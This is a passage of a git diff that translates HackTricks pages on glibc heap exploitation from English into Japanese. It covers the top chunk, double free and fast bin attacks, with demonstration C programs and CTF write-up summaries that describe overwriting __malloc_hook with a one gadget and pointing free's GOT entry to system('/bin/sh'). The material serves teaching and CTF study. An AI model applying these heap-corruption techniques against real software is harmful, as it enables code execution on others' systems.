[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 - → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 large non-empty bins. ``` -
-### Top Chunk - +### トップチャンク ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 /* - Top +Top - The top-most available chunk (i.e., the one bordering the end of - available memory) is treated specially. It is never included in - any bin, is used only if no other chunk is available, and is - released back to the system if it is very large (see - M_TRIM_THRESHOLD). Because top initially - points to its own bin with initial zero size, thus forcing - extension on the first malloc request, we avoid having any special - code in malloc to check whether it even exists yet. But we still - need to do so when getting memory from system, so we make - initial_top treat the bin as a legal but unusable chunk during the - interval between initialization and the first call to - sysmalloc. (This is somewhat delicate, since it relies on - the 2 preceding words to be zero during this interval as well.) - */ +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` +基本的に、これは現在利用可能なヒープのすべてのチャンクを含んでいます。mallocが実行されると、使用するための利用可能なフリーチャンクがない場合、このトップチャンクは必要なスペースを確保するためにサイズを減少させます。\ +トップチャンクへのポインタは`malloc_state`構造体に格納されています。 -Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ -The pointer to the Top Chunk is stored in the `malloc_state` struct. - -Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk. +さらに、最初は、未整列チャンクをトップチャンクとして使用することが可能です。
-Observe the Top Chunk example - +トップチャンクの例を観察する ```c #include #include int main(void) { - char *chunk; - chunk = malloc(24); - printf("Address of the chunk: %p\n", (void *)chunk); - gets(chunk); - return 0; +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; } ``` - -After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks: - +`main`の`ret`オペコードにブレークポイントを設定してコンパイルおよびデバッグした後、mallocがアドレス`0xaaaaaaac12a0`を返し、これらのチャンクが表示されました: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) - [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` - -Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ -It's also possible to see the length of the Top chunk on its chunk header: - +トップチャンクがアドレス `0xaaaaaaac1ae0` にあることがわかります。これは驚くべきことではありません。なぜなら、最後に割り当てられたチャンクは `0xaaaaaaac12a0` にあり、サイズは `0x410` で、`0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` だからです。\ +トップチャンクの長さは、そのチャンクヘッダーでも確認できます: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 ``` -
-### Last Remainder +### 最後の残り -When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. +mallocが使用され、チャンクが分割されると(例えば、未整列ビンまたはトップチャンクから)、分割されたチャンクの残りから作成されたチャンクは「最後の残り」と呼ばれ、そのポインタは`malloc_state`構造体に格納されます。 -## Allocation Flow +## 割り当てフロー -Check out: +チェックアウト: {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} -## Free Flow +## 解放フロー -Check out: +チェックアウト: {{#ref}} heap-memory-functions/free.md {{#endref}} -## Heap Functions Security Checks +## ヒープ関数のセキュリティチェック -Check the security checks performed by heavily used functions in heap in: +ヒープで広く使用される関数によって実行されるセキュリティチェックを確認するには: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## 参考文献 - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/double-free.md b/src/binary-exploitation/libc-heap/double-free.md index a30116d58..ff7a4a168 100644 --- a/src/binary-exploitation/libc-heap/double-free.md +++ b/src/binary-exploitation/libc-heap/double-free.md @@ -1,92 +1,90 @@ -# Double Free +# ダブルフリー {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. +メモリのブロックを複数回解放すると、アロケータのデータが混乱し、攻撃の扉が開かれる可能性があります。これは次のように発生します:メモリのブロックを解放すると、それはフリーチャンクのリスト(例:「ファストビン」)に戻ります。同じブロックを連続して2回解放すると、アロケータはこれを検出し、エラーをスローします。しかし、**その間に別のチャンクを解放すると、ダブルフリーのチェックがバイパスされ**、破損が発生します。 -Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. - -Example: +今、新しいメモリを要求すると(`malloc`を使用)、アロケータは**2回解放されたブロック**を返す可能性があります。これにより、2つの異なるポインタが同じメモリ位置を指すことになります。攻撃者がそのポインタの1つを制御している場合、彼らはそのメモリの内容を変更でき、これがセキュリティ問題を引き起こしたり、コードを実行させたりする可能性があります。 +例: ```c #include #include int main() { - // Allocate memory for three chunks - char *a = (char *)malloc(10); - char *b = (char *)malloc(10); - char *c = (char *)malloc(10); - char *d = (char *)malloc(10); - char *e = (char *)malloc(10); - char *f = (char *)malloc(10); - char *g = (char *)malloc(10); - char *h = (char *)malloc(10); - char *i = (char *)malloc(10); +// Allocate memory for three chunks +char *a = (char *)malloc(10); +char *b = (char *)malloc(10); +char *c = (char *)malloc(10); +char *d = (char *)malloc(10); +char *e = (char *)malloc(10); +char *f = (char *)malloc(10); +char *g = (char *)malloc(10); +char *h = (char *)malloc(10); +char *i = (char *)malloc(10); - // Print initial memory addresses - printf("Initial allocations:\n"); - printf("a: %p\n", (void *)a); - printf("b: %p\n", (void *)b); - printf("c: %p\n", (void *)c); - printf("d: %p\n", (void *)d); - printf("e: %p\n", (void *)e); - printf("f: %p\n", (void *)f); - printf("g: %p\n", (void *)g); - printf("h: %p\n", (void *)h); - printf("i: %p\n", (void *)i); +// Print initial memory addresses +printf("Initial allocations:\n"); +printf("a: %p\n", (void *)a); +printf("b: %p\n", (void *)b); +printf("c: %p\n", (void *)c); +printf("d: %p\n", (void *)d); +printf("e: %p\n", (void *)e); +printf("f: %p\n", (void *)f); +printf("g: %p\n", (void *)g); +printf("h: %p\n", (void *)h); +printf("i: %p\n", (void *)i); - // Fill tcache - free(a); - free(b); - free(c); - free(d); - free(e); - free(f); - free(g); +// Fill tcache +free(a); +free(b); +free(c); +free(d); +free(e); +free(f); +free(g); - // Introduce double-free vulnerability in fast bin - free(h); - free(i); - free(h); +// Introduce double-free vulnerability in fast bin +free(h); +free(i); +free(h); - // Reallocate memory and print the addresses - char *a1 = (char *)malloc(10); - char *b1 = (char *)malloc(10); - char *c1 = (char *)malloc(10); - char *d1 = (char *)malloc(10); - char *e1 = (char *)malloc(10); - char *f1 = (char *)malloc(10); - char *g1 = (char *)malloc(10); - char *h1 = (char *)malloc(10); - char *i1 = (char *)malloc(10); - char *i2 = (char *)malloc(10); +// Reallocate memory and print the addresses +char *a1 = (char *)malloc(10); +char *b1 = (char *)malloc(10); +char *c1 = (char *)malloc(10); +char *d1 = (char *)malloc(10); +char *e1 = (char *)malloc(10); +char *f1 = (char *)malloc(10); +char *g1 = (char *)malloc(10); +char *h1 = (char *)malloc(10); +char *i1 = (char *)malloc(10); +char *i2 = (char *)malloc(10); - // Print initial memory addresses - printf("After reallocations:\n"); - printf("a1: %p\n", (void *)a1); - printf("b1: %p\n", (void *)b1); - printf("c1: %p\n", (void *)c1); - printf("d1: %p\n", (void *)d1); - printf("e1: %p\n", (void *)e1); - printf("f1: %p\n", (void *)f1); - printf("g1: %p\n", (void *)g1); - printf("h1: %p\n", (void *)h1); - printf("i1: %p\n", (void *)i1); - printf("i2: %p\n", (void *)i2); +// Print initial memory addresses +printf("After reallocations:\n"); +printf("a1: %p\n", (void *)a1); +printf("b1: %p\n", (void *)b1); +printf("c1: %p\n", (void *)c1); +printf("d1: %p\n", (void *)d1); +printf("e1: %p\n", (void *)e1); +printf("f1: %p\n", (void *)f1); +printf("g1: %p\n", (void *)g1); +printf("h1: %p\n", (void *)h1); +printf("i1: %p\n", (void *)i1); +printf("i2: %p\n", (void *)i2); - return 0; +return 0; } ``` +この例では、tcacheをいくつかの解放されたチャンク(7)で埋めた後、コードは**チャンク`h`を解放し、次にチャンク`i`を解放し、再び`h`を解放することでダブルフリーを引き起こします**(ファストビンの重複とも呼ばれます)。これにより、再割り当て時に重複したメモリアドレスを受け取る可能性が生じ、2つ以上のポインタが同じメモリ位置を指すことができます。1つのポインタを通じてデータを操作すると、他のポインタにも影響を与え、重大なセキュリティリスクと悪用の可能性を生み出します。 -In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation. +実行すると、**`i1`と`i2`が同じアドレスを取得したことに注意してください**: -Executing it, note how **`i1` and `i2` got the same address**: - -
Initial allocations:
+
初期割り当て:
 a: 0xaaab0f0c22a0
 b: 0xaaab0f0c22c0
 c: 0xaaab0f0c22e0
@@ -96,7 +94,7 @@ f: 0xaaab0f0c2340
 g: 0xaaab0f0c2360
 h: 0xaaab0f0c2380
 i: 0xaaab0f0c23a0
-After reallocations:
+再割り当て後:
 a1: 0xaaab0f0c2360
 b1: 0xaaab0f0c2340
 c1: 0xaaab0f0c2320
@@ -109,23 +107,23 @@ h1: 0xaaab0f0c2380
 i2: 0xaaab0f0c23a0
 
-## Examples +## 例 - [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/) - - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite. - - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance). - - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook` - - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution. +- サイズ`0x70`を除いて、ファストビンサイズのチャンクしか割り当てられず、通常の`__malloc_hook`の上書きを防ぎます。 +- 代わりに、`0x56`で始まるPIEアドレスをファストビンの重複のターゲットとして使用します(1/2の確率)。 +- PIEアドレスが保存される場所の1つは`main_arena`で、これはGlibc内にあり、`__malloc_hook`の近くにあります。 +- 特定のオフセットの`main_arena`をターゲットにして、そこにチャンクを割り当て、`__malloc_hook`に到達するまでチャンクを割り当て続けてコード実行を取得します。 - [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/) - - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation: - - We allocate three chunks of size `0x110` (`A`, `B`, `C`) - - We free `B` - - We free `A` and allocate again to use the null-byte overflow - - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again - - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free. - - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md) +- Tcacheビンとヌルバイトオーバーフローを使用して、ダブルフリーの状況を達成できます: +- サイズ`0x110`のチャンクを3つ(`A`、`B`、`C`)割り当てます。 +- `B`を解放します。 +- `A`を解放し、ヌルバイトオーバーフローを使用するために再度割り当てます。 +- 現在、`B`のサイズフィールドは`0x100`であり、`0x111`ではないため、再度解放できます。 +- サイズ`0x110`のTcacheビンとサイズ`0x100`のTcacheビンが同じアドレスを指しているため、ダブルフリーが発生します。 +- [Tcache poisoning](tcache-bin-attack.md)を使用してダブルフリーを利用します。 -## References +## 参考文献 - [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free) diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index c36c675de..9e4b4e367 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 For more information about what is a fast bin check this page: @@ -13,7 +13,6 @@ bins-and-memory-allocations.md Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**. As summary: - ```c ptr0 = malloc(0x20); ptr1 = malloc(0x20); @@ -29,9 +28,7 @@ free(ptr1) ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` - -You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html): - +非常によく説明されたコードの完全な例は、[https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) で見つけることができます。 ```c #include #include @@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu int main(void) { - puts("Today we will be discussing a fastbin attack."); - puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); - puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); - puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); - puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); - puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); - puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); - puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); - puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); +puts("Today we will be discussing a fastbin attack."); +puts("There are 10 fastbins, which act as linked lists (they're separated by size)."); +puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists."); +puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it)."); +puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)"); +puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate."); +puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin."); +puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n"); +puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n"); - puts("Let's start, we will allocate three chunks of size 0x30\n"); - unsigned long *ptr0, *ptr1, *ptr2; +puts("Let's start, we will allocate three chunks of size 0x30\n"); +unsigned long *ptr0, *ptr1, *ptr2; - ptr0 = malloc(0x30); - ptr1 = malloc(0x30); - ptr2 = malloc(0x30); +ptr0 = malloc(0x30); +ptr1 = malloc(0x30); +ptr2 = malloc(0x30); - printf("Chunk 0: %p\n", ptr0); - printf("Chunk 1: %p\n", ptr1); - printf("Chunk 2: %p\n\n", ptr2); +printf("Chunk 0: %p\n", ptr0); +printf("Chunk 1: %p\n", ptr1); +printf("Chunk 2: %p\n\n", ptr2); - printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); +printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n"); - int stackVar = 0x55; +int stackVar = 0x55; - printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); +printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar); - printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); +printf("Proceeding that I'm going to write just some data to the three heap chunks\n"); - char *data0 = "00000000"; - char *data1 = "11111111"; - char *data2 = "22222222"; +char *data0 = "00000000"; +char *data1 = "11111111"; +char *data2 = "22222222"; - memcpy(ptr0, data0, 0x8); - memcpy(ptr1, data1, 0x8); - memcpy(ptr2, data2, 0x8); +memcpy(ptr0, data0, 0x8); +memcpy(ptr1, data1, 0x8); +memcpy(ptr2, data2, 0x8); - printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); +printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n"); - printf("Chunk 0: %s\n", (char *)ptr0); - printf("Chunk 1: %s\n", (char *)ptr1); - printf("Chunk 2: %s\n\n", (char *)ptr2); +printf("Chunk 0: %s\n", (char *)ptr0); +printf("Chunk 1: %s\n", (char *)ptr1); +printf("Chunk 2: %s\n\n", (char *)ptr2); - printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); +printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n"); - free(ptr0); - free(ptr1); - free(ptr2); +free(ptr0); +free(ptr1); +free(ptr2); - printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); - printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); - printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); +printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0); +printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1); +printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2); - printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); +printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n"); - printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); - printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); +printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n"); +printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n"); - *ptr1 = (unsigned long)((char *)&stackVar); +*ptr1 = (unsigned long)((char *)&stackVar); - printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); +printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1); - printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); - printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); +printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n"); +printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n"); - unsigned long *ptr3, *ptr4, *ptr5; +unsigned long *ptr3, *ptr4, *ptr5; - ptr3 = malloc(0x30); - ptr4 = malloc(0x30); - ptr5 = malloc(0x30); +ptr3 = malloc(0x30); +ptr4 = malloc(0x30); +ptr5 = malloc(0x30); - printf("Chunk 3: %p\n", ptr3); - printf("Chunk 4: %p\n", ptr4); - printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); +printf("Chunk 3: %p\n", ptr3); +printf("Chunk 4: %p\n", ptr4); +printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5); - printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); +printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n"); } ``` - > [!CAUTION] -> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md) +> グローバル変数 **`global_max_fast`** の値を大きな数で上書きできる場合、これによりより大きなサイズのファストビンチャンクを生成でき、以前は不可能だったシナリオでファストビン攻撃を実行できる可能性があります。この状況は、[large bin attack](large-bin-attack.md) および [unsorted bin attack](unsorted-bin-attack.md) の文脈で有用です。 -## Examples +## 例 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability). - - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`). - - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\ - Finally a **one gadget** was written in there. +- チャンクを割り当て、解放し、その内容を読み取り、(オーバーフロー脆弱性を使用して)埋めることが可能です。 +- **情報漏洩のためのチャンクの統合**: この技術は基本的にオーバーフローを悪用して偽の `prev_size` を作成し、1つの前のチャンクをより大きなチャンクの中に入れることです。これにより、別のチャンクを含むより大きなチャンクを割り当てると、そのデータを印刷してlibcへのアドレス(`main_arena+88`)を漏洩させることが可能になります。 +- **mallocフックの上書き**: これには、前の重複状況を悪用して、同じメモリを指す2つのチャンクを持つことが可能でした。したがって、両方を解放すること(保護を回避するためにその間に別のチャンクを解放する)で、同じチャンクをファストビンに2回持つことが可能でした。その後、それを再度割り当て、次のチャンクへのアドレスを `__malloc_hook` の少し前を指すように上書きしました(mallocがフリーサイズだと思う整数を指すように - 別のバイパス)、再度割り当てて、mallocフックへのアドレスを受け取る別のチャンクを割り当てました。\ +最後に、**one gadget** がそこに書き込まれました。 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** - - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers - - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address. - - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`. +- ヒープオーバーフローと使用後の解放、ダブルフリーがあります。チャンクが解放されると、ポインタを再利用して再解放することが可能です。 +- **Libc情報漏洩**: いくつかのチャンクを解放すると、メインアリーナの一部の位置へのポインタが得られます。解放されたポインタを再利用できるため、このアドレスを読み取るだけです。 +- **ファストビン攻撃**: 割り当てへのすべてのポインタは配列内に保存されているため、いくつかのファストビンチャンクを解放し、最後のものにアドレスを上書きしてこのポインタの配列の少し前を指すようにします。その後、同じサイズのチャンクをいくつか割り当てると、最初に正当なものが得られ、その後ポインタの配列を含む偽のものが得られます。これで、この割り当てポインタを上書きして `free` のGOTアドレスを `system` を指すようにし、次にチャンク1に `"/bin/sh"` を書き込んで `free(chunk1)` を呼び出すと、代わりに `system("/bin/sh")` が実行されます。 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- 1バイトのオーバーフローを悪用して、未ソートビン内のチャンクを統合し、libc情報漏洩を取得し、その後ファストビン攻撃を実行してmallocフックをone gadgetアドレスで上書きする別の例です。 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) - - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT - - You can find a Fast Bin attack abused through an unsorted bin attack: - - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed). +- 未ソートビンを悪用してUAFでlibcアドレスとPIEアドレスを漏洩させた後、このCTFのエクスプロイトはファストビン攻撃を使用して、制御されたチャンクへのポインタがある場所にチャンクを割り当て、特定のポインタを上書きしてGOTにone gadgetを書き込むことができました。 +- 未ソートビン攻撃を通じて悪用されたファストビン攻撃を見つけることができます: +- ファストビン攻撃を実行する前に、libc/heapアドレスを漏洩させるためにフリリストを悪用することが一般的であることに注意してください(必要に応じて)。 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- サイズが `0x100` より大きいチャンクのみを割り当てることができます。 +- 未ソートビン攻撃を使用して `global_max_fast` を上書きします(ASLRのため1/16回機能します。12ビットを変更する必要がありますが、16ビットを変更する必要があります)。 +- グローバルチャンク配列を変更するためのファストビン攻撃。これにより、任意の読み取り/書き込みプリミティブが得られ、GOTを変更していくつかの関数を `system` を指すように設定できます。 {{#ref}} unsorted-bin-attack.md diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md index 04855d5fb..dbe2ffb64 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,4 +1,4 @@ -# Heap Memory Functions +# ヒープメモリ関数 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md index e57b1fa77..36853d73f 100644 --- 